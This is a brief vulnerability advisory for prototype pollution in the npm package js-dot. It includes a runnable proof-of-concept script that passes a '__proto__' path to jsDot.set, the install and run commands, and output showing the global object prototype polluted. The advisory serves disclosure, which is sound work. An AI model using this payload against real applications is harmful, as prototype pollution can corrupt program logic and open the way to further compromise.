js-dot

vulnerability prototype pollution
severity 7.3
language typescript
registry npm

Description

Prototype Pollution in js-dot

Proof of Concept

  1. Create the following PoC file:
// poc.js
var jsDot = require("js-dot")
var obj = {}
console.log("Before : " + {}.polluted);
jsDot.set(obj,"__proto__.polluted","Yes! Its Polluted");
console.log("After : " + {}.polluted);
  1. Execute the following commands in terminal:
npm i js-dot # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted